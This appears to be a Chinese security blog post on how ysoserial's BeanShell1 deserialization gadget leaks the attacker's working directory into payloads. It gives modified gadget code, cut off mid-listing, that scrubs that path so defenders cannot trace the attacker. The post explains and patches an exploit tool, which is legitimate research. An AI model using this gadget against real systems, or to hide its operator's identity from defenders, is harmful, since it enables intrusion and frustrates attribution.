0x01 背景
在Java反序列化漏洞炙手可热的当下,许多自动化工具都在使用ysoserial的gadget。而这些gadget当中,有一个gadget正在偷偷泄露你的id — BeanShell1

BeanShell1泄露当前运行路径
这意味着经常使用shiro批量爆破gadget工具的小伙伴,蓝队同学可能解密下paylaod就能得到你的id了。
0x02 定位信息泄露属性
通过使用java-object-searcher搜索,找到敏感信息存储在bsh.NameSpace
类的variables
属性中。

存储当前运行路径的属性
通过阅读该类代码,发现只有setTypedVariable
方法对variables
进行put
操作,在该处下断点。
重新调式,看到当前运行路径
被put进来后,顺着调用堆栈往上分析。发现BeanShell1
在Interpreter
对象初始化时,调用bsh.Interpreter#initRootSystemObject
设置了bsh.cwd
值为当前运行路径
,最终它被保存到了序列化数据中。

获取当前运行路径
0x03 构造干净的BeanShell1
既然Interpreter
对象通过setu
方法存储了敏感信息,那么我们同样可以调用该方法将敏感信息覆盖掉,防止信息泄露。
所以要构造一个干净的BeanShell1 gadget,只需要在Interpreter
对象创建后反射调用setu
方法覆盖bsh.cwd
值为.
(第13-15行代码)即可。
@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({ "org.beanshell:bsh:2.0b5" })
@Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711})
public class BeanShell1 extends PayloadRunner implements ObjectPayload {
public PriorityQueue getObject(String command) throws Exception {
String payload = BeanShellUtil.getPayload(command);
Interpreter i = new Interpreter();
Method setu = i.getClass().getDeclaredMethod("setu",new Class[]{String.class,Object.class});
setu.setAccessible(true);
setu.invoke(i,new Object[]{"bsh.cwd","."});
i.eval(payload);
XThis xt = new XThis(i.getNameSpace(), i);
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);
final PriorityQueue
目前已经给ysoserial
项目pr,等待官方修复。当然大家也可以使用我二次开发的ysoserial-for-woopecker。

给官方提的pr

[超站]友情链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
关注数据与安全,洞悉企业级服务市场:https://www.ijiandao.com/